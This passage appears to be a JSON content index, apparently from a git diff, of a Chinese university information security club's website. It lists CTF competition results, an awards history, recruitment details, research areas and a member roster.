360集团作为中国领先的互联网络安全企业,汇聚了国内规模领先的高水平安全技术团队,积累了接近万件原创技术和核心技术的专利,并在此基础上开发出拥有数亿用户的360安全卫士、360手机卫士等安全产品,同时为上百万家国家机关和企事业单位提供包括安全咨询、安全运维、安全培训等全方位安全服务。 怀揣用户安全第一的目的和决心,48小时黑客马拉松破解大奖赛邀请到高校学生对指定产品进行全面漏洞挖掘,考验的不仅仅是书本上的知识,还有个人的技术实力与团队的协同配合。比赛一方面可以提升360产品的安全性,另一方面则能促进新生代网络安全人才的交流,提高网络安全从业者的技术水平,共同打造更安全的网络环境。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"“百越杯”第三届福建省高校网络空间安全大赛 一等奖、三等奖、优胜奖","slug":"0fbc0fc1-39e4-47ee-9cff-ba792b068f27","date":"2017-10-28T08:57:18.000Z","updated":"2024-01-22T18:20:02.947Z","comments":false,"path":"2017/10/28/0fbc0fc1-39e4-47ee-9cff-ba792b068f27/","permalink":"https://www.xmutsec.cn/2017/10/28/0fbc0fc1-39e4-47ee-9cff-ba792b068f27/","excerpt":"","text":"为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第三届“福建省高校网络空间安全大赛”。 本协会派出的三支队伍分别获得了一等奖、三等奖和优胜奖,其中CodeMonster战队全省第三夺得一等奖,获得2000元奖金。","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2017 XNUCA第一期Web专题 第9名","slug":"dfd03705-8ad1-420f-8534-0fd4086165e7","date":"2017-08-26T08:56:01.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2017/08/26/dfd03705-8ad1-420f-8534-0fd4086165e7/","permalink":"https://www.xmutsec.cn/2017/08/26/dfd03705-8ad1-420f-8534-0fd4086165e7/","excerpt":"","text":"“全国高校网安联赛(National University Cybersecurity Association,简称X-NUCA)”是面向全国高校学生的网络安全技能竞赛,首届比赛已于2016年7月31日举办,大赛秉承“寓学于赛,以赛促学”的理念,推出“竞赛+”模式,将赛前指导、赛中锻炼和赛后交流三者有机结合,旨在更好地促进国家网络安全人才的培养和选拔。 X-NUCA联赛面向全国在校学生,包括专科生、本科生、硕士生和博士生,需由指导老师带队参赛。2017赛季分为专题赛和总决赛两个阶段,首次专题赛2017年8月26日举办。专题赛包含3期线上赛,分别在8月26日、10月8日、11月25日举办,12月举办总决赛并颁奖。 X-NUCA联赛推出的“竞赛+”模式通过引入赛前指导和赛后交流环节,使参赛选手不仅可以比赛,还可以有针对性的学习。在“竞赛+”模式中,比赛队伍常规化、比赛活动常规化,类似于“NBA”模式。在这种模式下,参赛队伍荣誉感更强,人才的归属感更强,更容易和高校正规的人才培养体系相结合。X-NUCA联赛力图将竞赛平台、学习平台、交流平台和参赛团队四者紧密连接,努力落实“寓学于赛,以赛促学”的理念,旨在促进中国高校网安教学水平的提高和网安人才的发现。 我们协会的CodeMonster战队首次参加本次比赛,取得了线上赛全国第9名的成绩。 比赛图片 比赛期间截图,一度占领榜一:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"举办第一届厦门理工“国科杯”网络信息安全大赛","slug":"6eba13d5-1e74-4680-8a10-9c18763b6389","date":"2017-05-06T08:54:34.000Z","updated":"2024-01-22T18:20:02.947Z","comments":false,"path":"2017/05/06/6eba13d5-1e74-4680-8a10-9c18763b6389/","permalink":"https://www.xmutsec.cn/2017/05/06/6eba13d5-1e74-4680-8a10-9c18763b6389/","excerpt":"","text":"为帮助学生更好地感知、了解身边的网络安全风险,增强网络安全意识,普及网络安全知识,提高网络安全防护技能,厦门理工学院计算机与信息工程学院特此举办“国科杯”第一届网络信息安全大赛,以此掀起学生“共建网络信息安全、共享网络文明学校”的热潮。 比赛图片 比赛海报: 比赛现场: 比赛排行榜:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"2017 信息安全铁人三项赛企业赛华南赛区 三等奖(第3名)","slug":"f72cbee7-1294-46b9-92e3-49a3140255b2","date":"2017-04-22T08:52:55.000Z","updated":"2024-01-22T18:20:02.963Z","comments":false,"path":"2017/04/22/f72cbee7-1294-46b9-92e3-49a3140255b2/","permalink":"https://www.xmutsec.cn/2017/04/22/f72cbee7-1294-46b9-92e3-49a3140255b2/","excerpt":"","text":"信息安全铁人三项赛是一项面向大学生的公益性科技类竞赛,由中国信息产业商会信息安全产业分会发起主办,通过整合信息安全产业资源对接高校,为大学生提供一个进行信息安全技术创新、深入产业行业应用以及扩展安全视野的平台,推动校企合作模式的信息安全人才培养,从而实现信息安全优秀人才的培养和选拨渠道。 大赛强调贴近实战,以信息安全典型行业应用场景为大赛环境,重点检验参赛学生面对真实环境下的信息安全工程能力和攻防技术能力。 大赛强调企业与高校的联合,通过校企对接的企业导师加学生战队的模式,将企业资源纳入到高校的信息安全相关专业人才培养中,并实现人才从高校到企业的无缝对接。 信息安全铁人三项赛为一项周期为一年的全国性联赛赛事,由多个区域分站赛和年度总决赛组成。 本协会的CodeMonster战队荣获第三名,拿下三等奖5000元奖金。 比赛图片 获奖图片:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"说明","slug":"fuckscoredog","date":"2016-12-11T09:02:25.000Z","updated":"2024-01-22T18:20:02.967Z","comments":false,"path":"2016/12/11/fuckscoredog/","permalink":"https://www.xmutsec.cn/2016/12/11/fuckscoredog/","excerpt":"","text":"我们尊重每个人的选择,尊重大家的学习方向和学习意图,但是协会曾经发生过一些不愉快的事情,为了协会后续发展,我觉得这件事很有必要写出来警示大家一下,希望各位不要成为下一个“他” 开篇点题,协会在2021级纳新的时候曾经招进来一名十分“优秀”的成员,这名成员在中专时参加过网络安全相关的比赛,当时我们都对他抱有很大的希望,认为他可以长期在协会中发展下去。 该成员在校赛时通过一些手段拿到了校赛第一,在往后的训练中也有一些佳绩,直到后来跟我们打了第一场比赛,所展现的水分也逐渐浮出水面 2021年10月 - 某SCTF 团队组队,这是一场线上比赛,比赛是团队合作,但是该成员在比赛中表现不佳,没做出来几道题 2021年12月 - 福建省某盾比赛 团队组队,这场比赛初赛(线上/联网)还算顺利,但在复赛的时候,Teamwork逐渐变得不顺利起来,起先是这名成员零解(没有做出任何一道题)再到后面的连最基础的ASP一句话木马都不会写,环境都用不明白,我们就知道这名成员水分有多大了,最后也是靠着队友拿到了省赛三等奖 2022年5月 - **CC 2022年4月 - 国赛省赛 团队组队,该成员报名参赛,未上线,靠着队友拿了省赛三等奖 2022年7月 - 某帽杯 团队组队,该成员报名参赛,未上线,这也导致我们只打进了复赛没打进决赛的其中一个原因,在赛后联系该成员没有得到任何回复 2022年8月 - 某鼎杯 团队组队,该成员报名参赛,未上线,比较难受的是,这场比赛我们仅差一名就能进半决赛 可恨的是不是参加没来参加比赛,而是靠着队友的名次去申请一系列的奖学金+“三好学生”,但凡这名成员没做这件事我们也不会单独写一篇文章来警示大家,我们只希望大家能靠着自己所热爱的,那颗炙热且充满学习欲望的心来做自己所喜欢的事情,而不是叫学长一直带你,让你拿奖拿到手软什么的,你也是要有输出的,前期弱一点没关系,到后期我们可以慢慢磨练。 俗话说的好,“师傅领进门,修行在个人”,我们给予您学习资料+平台,您只需要好好学习就行了,不要总想着走捷径,这些道理在之后等你出社会就明白了,出了社会这些人情世故还有很长一段时间要学,上大学,已经走进了半个社会,要学会为人处事,不要总想着贪小便宜。 愿你我,在毕业后都能找到适合自己的路。共勉","categories":[],"tags":[]},{"title":"“百越杯”第二届福建省高校网络空间安全大赛 二等奖、三等奖、优胜奖","slug":"72c8b299-29e5-4e88-a684-7c65b3931760","date":"2016-12-11T08:46:38.000Z","updated":"2024-01-22T18:20:02.951Z","comments":false,"path":"2016/12/11/72c8b299-29e5-4e88-a684-7c65b3931760/","permalink":"https://www.xmutsec.cn/2016/12/11/72c8b299-29e5-4e88-a684-7c65b3931760/","excerpt":"","text":"为贯彻落实中央网信办等六部门《关于加强网络安全学科建设和人才培养的意见》(中网办发文〔2016〕4号)精神,加快高校网络安全学科专业建设,创新网络安全人才培养机制,省教育厅、省网安办决定联合举办第二届“福建省高校网络空间安全大赛”。 本协会派出的三支队伍分别获得了二等奖、三等奖和优胜奖,其中CodeMonster战队全省第六夺得二等奖,获得2000元奖金。 比赛图片 比赛现场: 比赛视频 比赛视频:","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"}]},{"title":"厦门理工学院信息安全协会成立","slug":"131885e3-191c-40ac-af0d-79835e15d45b","date":"2016-06-09T08:45:43.000Z","updated":"2024-01-22T18:20:02.947Z","comments":false,"path":"2016/06/09/131885e3-191c-40ac-af0d-79835e15d45b/","permalink":"https://www.xmutsec.cn/2016/06/09/131885e3-191c-40ac-af0d-79835e15d45b/","excerpt":"","text":"本协会成立于2016年6月9日,致力于对信息安全方面的探索与创新,旨在为我校热爱信息安全的同学提供一个交流平台,扩大信息安全在我校的影响力。 协会活动 本协会通过参加CTF竞赛的形式验证自己的信息安全技术水平 各位大佬和萌新可以去协会CodeMonster战队与集美大学信安协会的Mokirin战队共同搭建维护的MOCTF平台进行日常CTF刷题。 CTF介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛,类似于CTF赛场中的“世界杯” 。 CTF大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将","categories":[],"tags":[{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"},{"name":"协会杂谈","slug":"协会杂谈","permalink":"https://www.xmutsec.cn/tags/%E5%8D%8F%E4%BC%9A%E6%9D%82%E8%B0%88/"}]}],"categories":[],"tags":[{"name":"CTF","slug":"CTF","permalink":"https://www.xmutsec.cn/tags/CTF/"},{"name":"提问的智慧","slug":"提问的智慧","permalink":"https://www.xmutsec.cn/tags/%E6%8F%90%E9%97%AE%E7%9A%84%E6%99%BA%E6%85%A7/"},{"name":"学术竞赛","slug":"学术竞赛","permalink":"https://www.xmutsec.cn/tags/%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B/"},{"name":"Writeup","slug":"Writeup","permalink":"https://www.xmutsec.cn/tags/Writeup/"},{"name":"协会杂谈","slug":"协会杂谈","permalink":"https://www.xmutsec.cn/tags/%E5%8D%8F%E4%BC%9A%E6%9D%82%E8%B0%88/"}]} \ No newline at end of file +{"meta":{"title":"厦门理工学院信息安全协会 - Hack The Planet","subtitle":"Hack The Planet","description":"厦门理工学院信息安全协会官网,这是一个热爱信息安全、网络安全等领域的团体","author":"XMUTSEC","url":"https://www.xmutsec.cn","root":"/"},"pages":[{"title":"","date":"2024-01-23T02:58:32.690Z","updated":"2024-01-23T02:58:32.690Z","comments":false,"path":"404.html","permalink":"https://www.xmutsec.cn/404.html","excerpt":"","text":"404 灵梦,你又在看魔理沙的小短裙了噢,快去休息好不好,别再看了。"},{"title":"关于","date":"2023-02-07T08:30:06.000Z","updated":"2024-01-23T02:58:32.710Z","comments":false,"path":"about/index.html","permalink":"https://www.xmutsec.cn/about/","excerpt":"","text":"协会介绍 “厦门理工大学信息安全协会(XMUTSEC)”成立于二〇一六年陆月九日是厦门理工大学计算机与信息工程学院指导下的学术科技类社团,几位志同道合的少年人在鹭江之畔一拍即合成立了一支CTF战队CodeMonster与之同时诞生的还有圣后溪英兰德皇家幼儿园附属理工大学信息安全协会(厦门理工大学信息安全协会),协会主要研究的方向以安全类为主,算法类为辅,此外,协会也会组织学生参加学术竞赛,举办学术交流,参加一些项目等等。 协会外出用名: XMUTSEC NoobMonster CodeMonster-A CodeMonster-B CodeMonster 理工路660号 厦北泽理工学院 下北泽沼气动力学院兼东方古明地恋同好会 研究方向 二进制安全 二进制安全是研究计算机程序中存在的安全漏洞,这些漏洞可能被攻击者利用来改变程序的执行流程或获取未授权的权限。常见的二进制漏洞包括栈溢出、堆溢出、整数溢出、格式化字符串、双重释放、释放重引用、数组访问越界、内核级漏洞、类型混淆、沙盒逃逸以及进程间通信等。 Web安全 随着Web 2.0、Web 3.0、社交网络和微博等新型互联网产品的出现,基于Web环境的应用越来越广泛。Web安全研究致力于解决Web应用程序中的安全威胁。黑客通过利用网站操作系统和Web服务程序的漏洞,获取对Web服务器的控制权限。这可能导致网页内容篡改、敏感数据泄露以及恶意代码注入等危害。常见的Web安全问题包括SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、文件上传漏洞、文件包含漏洞、框架安全、PHP常见漏洞以及代码审计等。 逆向工程 逆向工程涉及Windows、Linux和Android等平台上的多种编程技术。研究者需要运用常见工具对源代码和二进制文件进行逆向分析,并掌握Android移动应用APK文件的逆向分析方法。此外,了解加解密算法、内核编程、反调试技术和代码混淆等方面的知识也是逆向工程的重要内容。 无线电 无线电研究方向涉及使用持有A、B证的无线电爱好者通过技术手段进行卫星通信。这包括与卫星通信、接收气象卫星传输的图像数据以及研究GSM/LTE等无线电通信协议和GPS定位等相关内容。 渗透测试 渗透测试是一项安全演习,通过尝试查找和利用计算机系统中的漏洞。模拟攻击的目的是识别攻击者可以利用的系统防御中的薄弱环节。 这就像银行雇用别人假装盗匪,让他们试图闯入建筑物并进入保管库一样。如果“盗匪”成功,进入了银行或保险库,则银行将了解到他们需要如何加强安全措施的宝贵信息。 CTF(Capture The Flag) CTF(夺旗赛)是一种常见的竞技性安全演练形式,旨在考察参与者在网络安全领域的技能和知识。参与者通过解决一系列与信息安全相关的谜题、挑战和问题,寻找并获取“旗帜”(Flag)来得分。这些旗帜通常是特定格式的字符串或文件,证明参与者成功攻克了相应的安全难题。CTF的题目类型多样,涵盖密码学、网络安全、二进制漏洞、Web安全、逆向工程等领域,旨在提高参与者的技术能力、团队协作和解决问题的能力。 CTF竞赛既是一种学习和培训的方式,也是评估安全人员技能水平和挖掘潜在安全问题的手段。参与CTF可以帮助研究者深入理解各种安全领域,并锻炼他们在实践中解决安全问题的能力。 by ChatGPT 3.5 协会战队 XMUTSEC XMUTSEC是由厦门理工大学信息安全协会XMUTSEC领衔的新兴战队,创立于2021年。成员由协会核心人员组成,以在校本科生为主。战队秉承低调、包容和分享的安全研究理念,积极参与了国内许多知名CTF赛事,与来自世界各地的选手齐聚一堂互相切磋。 战队取得的部分成绩: 第十六届全国大学生信息安全竞赛 全国总决赛 一等奖(第5名) 第十六届全国大学生信息安全竞赛 工控安全挑战创新单项奖 第十六届全国大学生信息安全竞赛 创新实践能力赛(华东南分区选拔赛),团体一等奖(晋级总决赛) 2023年福建省第四届“闽盾杯”网络空间安全大赛(黑盾全国大学生赛道)全国三等奖 地点:福建,福州 2022年网鼎杯网络安全大赛 全国总决赛(38/50,CodeMonster),x1aoB1n 2022年网鼎杯网络安全大赛 青龙组 半决赛(13/109名,CodeMonster),晋级总决赛 2023年第四届“长城杯”信息安全铁人三项赛第一赛区,团体三等奖 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 个人金牌 2022年网鼎杯网络安全大赛 青龙组 晋级半决赛 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 团体二等奖 第十五届全国大学生信息安全竞赛—创新实践能力赛总决赛 团体三等奖 第十五届全国大学生信息安全竞赛创新实践能力赛 华东南赛区 团体一等奖 CodeMonster 战队取得的部分成绩: 百越杯福建省高校网络空间安全大赛2016全省第6名、2017全省一等奖第3名。 信息安全铁人三项赛2017华南赛区第3名,2018福建省赛区亚军。 黑盾杯福建省高校和网站网络与信息安全竞赛2017一等奖第2名,2018年一等奖第2名,三等奖第11名 2017第二届48小时黑客马拉松破解大奖赛第4名 2017全国高校网安联赛全国总决赛第19名 2018西湖论剑杯第二届大学生信息安全技能大赛个人赛第5名 2018第四届全国网络空间安全技术大赛第5名 2018第11届全国大学生信息安全竞赛华东南赛区第5名 战队成员于2018新加坡HITB-XCTF GSEC CTF 2018 Final第13名"},{"title":"荣誉","date":"2023-02-07T09:05:19.000Z","updated":"2024-01-23T02:58:32.710Z","comments":false,"path":"award/index.html","permalink":"https://www.xmutsec.cn/award/","excerpt":"","text":"足迹 [2023年08月01日] - 我校学子参加全国大学生信息安全竞赛创新实践能力赛总决赛获全国一等奖 [2022年11月19日] - 2022年厦门理工学院第四届网络空间安全大赛落下帷幕 [2022年09月06日] - 我院学子在第十五届全国大学生信息安全竞赛创新实践能力赛全国总决赛中获三等奖 [2022年07月07日] - 我院学子在第十五届全国大学生信息安全竞赛创新实践能力赛华东南分区赛中喜获佳绩 [2021年12月11日] - 2021年厦门理工学院第三届网络空间安全大赛落下帷幕 [2019年09月16日] - 我院学子在2019年“黑盾杯”网络空间安全知识和安全技能竞赛获全省亚军 [2018年12月19日] - 我院学子在第四届“福建省高校网络空间安全大赛”中获全省第二名 [2018年12月10日] - 厦门理工学院“国科-i春秋”杯第二届网络空间安全大赛完满结束 [2018年11月15日] - 厦门理工学院“国科-i春秋”杯第二届网络空间安全大赛完满结束 [2018年11月15日] - 我院学子在2017-2018全国高校信息安全铁人三项赛取得优异成绩 [2017年12月14日] - 我院学子在第三届“福建省高校网络空间安全大赛”中获全省第三名 [2017年12月08日] - 我院CodeMonster团队在第四届“黑盾杯”信息安全竞赛中勇夺全省第二名 [2017年12月08日] - 我院CodeMonster信息安全团队在第二届48小时黑客马拉松破解大奖赛获佳绩 [2017年05月15日] - 厦门理工学院“国科杯”第一届网络信息安全大赛圆满落幕 [2017年05月07日] - 我院顺利举办“国科杯”第一届信息安全校赛总决赛 [2017年04月28日] - 我院学子在信息安全铁人三项赛华南赛区中喜获季军 [2016年12月14日] - 我院学子喜获第二届“福建省高校网络空间安全大赛”佳绩 主办 [2022/11/04] - 2022年 SkyNICOCTF 暨厦门理工学院第四届网络空间安全大赛 [2022/05/??] - 2022年CMCTF-5(AWD)线上攻防对抗赛 [2022/04/??] - 2022年CMCTF-4(CTF)比赛 [2021/10/??] - 2021年厦门理工学院第三届网络空间安全大赛 [2018/??/??] - 2018年举办第二届厦门理工“国科-i春秋杯”网络信息安全大赛 [2018/02/13] - 举办2018MOCTF新春欢乐赛♂♂♂ [2017/05/06] - 举办第一届厦门理工“国科杯”网络信息安全大赛 2023 [2023/10/10] - 福建省首届大学生数据安全竞赛 省赛三等奖(第1名) [2023/10/10] - 福建省首届大学生数据安全竞赛 晋级 [2023/10/29] - 中国工业互联网安全大赛(福建省选拔赛)暨福建省第三届工业互联网创新大赛 初赛晋级 [2023/07/26] - 第十六届全国大学生信息安全竞赛 全国总决赛 一等奖(第5名) 地点:安徽合肥,中国书法大厦 [2023/07/26] - 第十六届全国大学生信息安全竞赛 工控安全挑战创新单项奖 地点:安徽合肥,中国书法大厦 [2023/07/04] - 2023年中国工业互联网安全大赛决赛 地点:重庆,国际博览中心 [2023/06/27] - 第三届中国(沈阳)智能网联汽车大赛决赛(智能网联汽车 “天融信杯” 信息安全攻防赛)初赛12名 地点:我觉得主办方很有必要学习一下差旅是什么意思,机票太贵飞不了沈阳 [2023/06/24] - 第十六届全国大学生信息安全竞赛 创新实践能力赛(华东南分区选拔赛),团体一等奖(晋级总决赛) 地点:福建,福州 [2023/06/03] - 2023年福建省第四届“闽盾杯”网络空间安全大赛(黑盾全国大学生赛道)初赛全省第一/决赛三等奖(下半场入场) 地点:福建,福州 [2023/05/xx-06-xx] - 某行动,保密 [2023/05/29] - 2023年第八届上海市大学生网络安全大赛暨“磐石行动”2023(首届)大学生网络安全攻防赛 第24名 地点:能进线下,但经费不够,所以就没去了( [2023/05/06] - 2023年首届“盘古石杯”全国电子数据取证大赛 第61名(差1名进线下) 地点:线上,如果进的话就能去南京了,这波是设备问题 [2023/04/14] - 2022年网鼎杯网络安全大赛 全国总决赛(38/50,CodeMonster),x1aoB1n 地点:浙江,杭州 [2023/04/14] - 2022年网鼎杯网络安全大赛 青龙组 半决赛(13/109名,CodeMonster),晋级总决赛 地点:浙江,杭州 [2023/01/10] - 2023年第四届“长城杯”信息安全铁人三项赛第一赛区,团体三等奖 (FUCK U, COVID-19/👇) 2022 [2022/10/??] - 2022年国家网络安全宣传周福建省第三届“闽盾杯”网络空间安全大赛(黑盾赛道) 优秀奖(CodeMonster/XMUTSEC) 地点:福州 [2022/09/22] - 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 个人金牌 地点:福州 [2022/08/??] - 2022年网鼎杯网络安全大赛 青龙组 晋级半决赛 线上 [2022/09/22] - 中国工业互联网安全大赛(福建省选拔赛)暨福建省第二届工业互联网创新大赛 团体二等奖 地点:福州 [2022/08/??] - 第十五届全国大学生信息安全竞赛—创新实践能力赛总决赛 团体三等奖 线上 [2022/06/28] - 第十五届全国大学生信息安全竞赛创新实践能力赛 华东南赛区 团体一等奖 线上 2021 [2021/12/08] - 第二届“闽盾杯”网络空间安全大赛教育行业攻防赛道,防守方第一名 线上 [2021/12/08] - 第二届“闽盾杯”网络空间安全大赛黑盾赛道,高校组第三名、第三名 地点:福州 (FUCK U, COVID-19/👆) 2020 [2020/??/??] - 福建省黑盾杯网络空间安全技能大赛 一等奖 地点:福州 [2020/??/??] - 网鼎杯网络安全大赛 青龙组 晋级半决赛 地点:浙江,杭州 2019 [2019/??/??] - X-NUCA 全国高校网安联赛 第 23 名 [2019/??/??] - 福建省黑盾杯网络空间安全技能大赛 特等奖 地点:福州 [2019/??/??] - 全国软件测试大赛 Web 安全测试个人赛总决赛 二等奖 [2019/??/??] - 全国软件测试大赛 Web 安全测试个人赛省赛 一等奖 [2019/??/??] - 第十二届全国大学生信息安全竞赛创新能力实践赛全国总决赛 三等奖 地点:四川,成都市成华区建设北路一段58号世茂成都茂御酒店(4F大宴会厅) [2019/??/??] - 第十二届全国大学生信息安全竞赛创新能力实践赛华东南赛区半决赛 特等奖 地点:江苏,苏州市姑苏区平江新城苏站路1588号,维也纳酒店(苏州火车站北广场店)三楼肖邦厅 [2019/??/??] - “百越杯”第五届福建省高校网络空间安全大赛 三等奖 地点:福州 [2019/??/??] - 高校网络信息安全管理运维挑战赛 三等奖 地点:西安 [2019/??/??] - “黄鹤杯”网络安全人才与创新峰会暨网络安全服务与创新能力大赛 优秀奖 地点:武汉 [2019/??/??] - 西湖论剑中国杭州网络安全技能大赛 优秀奖 地点:浙江 2018 [2018/12/28] - “百越杯”第四届福建省高校网络空间安全大赛 一等奖 线下地点:福州 [2018/12/07] - 信息安全铁人三项赛全国总决赛 二等奖 线下地点:北京,北京航空航天大学 [2018/06/09] - 第十一届全国大学生信息安全大赛 三等奖(华东南赛区第4名) 线下地点:江苏,苏州市会议中心 [2018/05/11] - 2018 信息安全铁人三项赛福建赛区 一等奖(第2名) 线下地点:福州 [2018/04/26] - 2018 安恒“西湖论剑杯”全国大学生网络空间安全技能大赛 个人赛三等奖 线下地点:浙江杭州国际博览中心 [2018/03/10] - *CTF 2018 97th [2018/03/10] - N1CTF 2018 83th [2018/??/??] - HITB-XCTF GSEC CTF 2018 Final(Member) 线下地点:新加坡(Singapore),National University of Singapore 2017 [2017/11/26] - 第四届“黑盾杯”信息安全竞赛 一等奖(全省第二名) 线下地点:福州 [2017/11/23] - 360 SRC第二届48小时黑客马拉松破解大奖赛(福州站) 综合积分第4名 [2017/11/10] - HCTF 2017 58th 线下地点:福州 [2017/10/27] - “百越杯”第三届福建省高校网络空间安全大赛 一等奖、三等奖 线下地点:福州 [2017/04/22] - 2017信息安全铁人三项赛华南赛区“昆仑中锐杯”企业赛 冠军 线下地点:福州,福州大学 2016 [2016/12/11] - “百越杯”第二届福建省高校网络空间安全大赛 二等奖、三等奖、优胜奖 线下地点:福州 [2016/06/09] - 协会成立 2014 [2014/12/25] - 首届“美亚柏科杯”福建省大学生信息安全竞赛决赛 一等奖"},{"title":"加入我们","date":"2023-02-07T08:29:51.000Z","updated":"2024-01-23T02:58:32.730Z","comments":false,"path":"join/index.html","permalink":"https://www.xmutsec.cn/join/","excerpt":"","text":"协会介绍 欢迎加入理工信息安全协会! 厦门理工学院信息安全协会 隶属于厦门理工学院计算机与信息工程学院和信息中心,这里没有死板的社团制度,我们贯彻自由、平等、开源的精神。 限制条件:仅限 厦门理工学院在校生(本科生、研究生) 协会23纳新群:818071925 加入标准 (满足以下两个条件即可,包括品行端正) 品行端正 对计算机安全有着浓厚的兴趣 对新事物有着强烈的探索欲望 能够完成我们出的新生赛题(校赛) 能独立解决一题大型CTF竞赛的题 高中自学算法或参加过算法竞赛 破解过某些软件 在CNVD、EDUSRC、HackerOne、补天、360、阿里云先知、或者在企业SRC(华为、腾讯、B站)发表文章或者挖掘并提交漏洞报告 独自研究过可信技术、量子安全、人工智能安全、工业控制安全 …或是其他任何和信息安全有关的事情。 学习方式 纯线上自学 协会学习平台:https://cloud.xmutsec.cn 学习资料:https://ctf-wiki.github.io/ctf-wiki/ 刷题 逛大佬们的博客 坚持 坚持 坚持 协会网盘里拥有学习网络安全的部分资料,大家可自行下载学习,如遇到困难可先自行解决(注意翻阅《提问的智慧》),解决不了的在向学长或学姐发起提问,理工信息安全协会欢迎全校同学的到来,协会每学期会举办一场网络空间安全大赛,用于战队选拔,获得奖项的同学即可加入XMUTSEC或CodeMonster战队,参与学术竞赛和一些安全类的活动。 资源类服务 连接方式: 使用EasyConnect拨入学校内网访问下述地址 直接连接学校「XMUT-WiFi」||「XMUT-Guest」||「XMUT(需身份认证)」后访问下述地址 协会网盘:http://cloud.xmutsec.cn 协会竞赛平台:http://games.xmutsec.cn 协会网盘:http://cloud.xmutsec.cn 电子数字取证平台:http://forensics.xmutsec.cn 协会WiFi 理工信安协会免费无线(统一认证使用) 理工信息安全协会-WiFi(加密) Q&A 大一新生刚入学,没有基础但是想加入怎么办? 答: 先进行学习,查看协会网盘的内容,不会的可以把问题发给学长们,等掌握一定基础后可以联系我们。 大一主要以CTF为主,CTF可以很好的培养安全技能,建议参考: https://ctfwiki.org https://github.com/ProbiusOfficial/CTF-QuickStart(快速入门手册,较新) 我加入可以获得什么 答: 可以获得与国内顶尖高校同台竞技的机会,也能认识各路神牛,获取更多人脉资源,获得各大互联网公司的内推机会,竞赛大多数会有很浓厚的奖金,竞赛奖金+学校给的,基本上能包下大学四年学费(看个人能力),当然最重要的是,有一个一起学习扯淡吹牛皮的氛围,当然各种比赛的决赛往往会前往外地参与(前提是我们能打得进),总而言之打比赛和做项目总比你去做那些徒劳无用之事好。 招收有时间吗 答: 无,全年招收,只要你对安全感兴趣,或者有那种想要到处Hacking的心态就行。 硬性要求:只招收整个大一、大二及大三上。 大三下协会成员都差不多准备考研和实习了,可能没时间打比赛和安排项目了。 协会要收会费吗? 答:不收 地址:福建省厦门市集美区厦门理工学院综合楼#2103"},{"title":"友情链接","date":"2023-02-08T10:02:28.000Z","updated":"2024-01-23T02:58:32.730Z","comments":false,"path":"links/index.html","permalink":"https://www.xmutsec.cn/links/","excerpt":"","text":"(以下排名不分前后) 福建师范大学网络与信息安全协会 大理大学网络安全协会 齐鲁工业大学 SkyMirror 网络安全战队"},{"title":"成员","date":"2023-02-07T08:30:23.000Z","updated":"2024-01-23T02:58:32.730Z","comments":false,"path":"members/index.html","permalink":"https://www.xmutsec.cn/members/","excerpt":"","text":"CodeMonster战队和厦门理工学院信息安全协会(XMUTSEC)是由厦门理工学院一群对网络/信息安全感兴趣的年轻人组成的兴趣团队,团队研究的方向包括但不限于有Web安全、软件破解、逆向工程、前后端开发、无线电,在我们中间有人深造于纽约大学/西北工业大学/广州大学,有人就职于安恒信息/华为/奇安信/腾讯/阿里/长亭/默安等业内知名企业,团队目前除了研究自己感兴趣的方向,同时积极参与国内(外)CTF及网络安全竞赛。 以下数据来源于 www.codemonster.cn 及 www.xmutsec.com ,如有遗漏,请联系QQ:378768535 2021-2022 IceCliffs - 關注東雪蓮謝謝喵,關注東雪蓮謝謝喵(21-22协会会长) okle15 - Misc warn - 只会密码的web手 Dragonkeep - 写不出web的web手 brokenpoems - fw pwnner 2020-2021 me7eorite - (神) x1aoB1n(米卫兵) - 原神60级+星穹铁道70级(20-21协会会长) 桃子乌龙 whisper 2019-2020 ??? 2018-2019 White - 不可结缘 徒增寂寞 Alienworm - 还没找到门的ctf选手 Southseast - 荆棘刺穿我的脚掌路坎坷而漫长。 Cosmos - 人生如逆旅,我亦是行人。 Nepire - 厦航公子:一份代码千两行,科学上网我最强,赛后秒题理气壮,挺进决赛喊凉凉。 豆浆油条 - 志在山顶的人,不会贪念山腰的风景。 SweetPotato - 我能吞下玻璃而不伤身体 2017-2018 Sheldon - 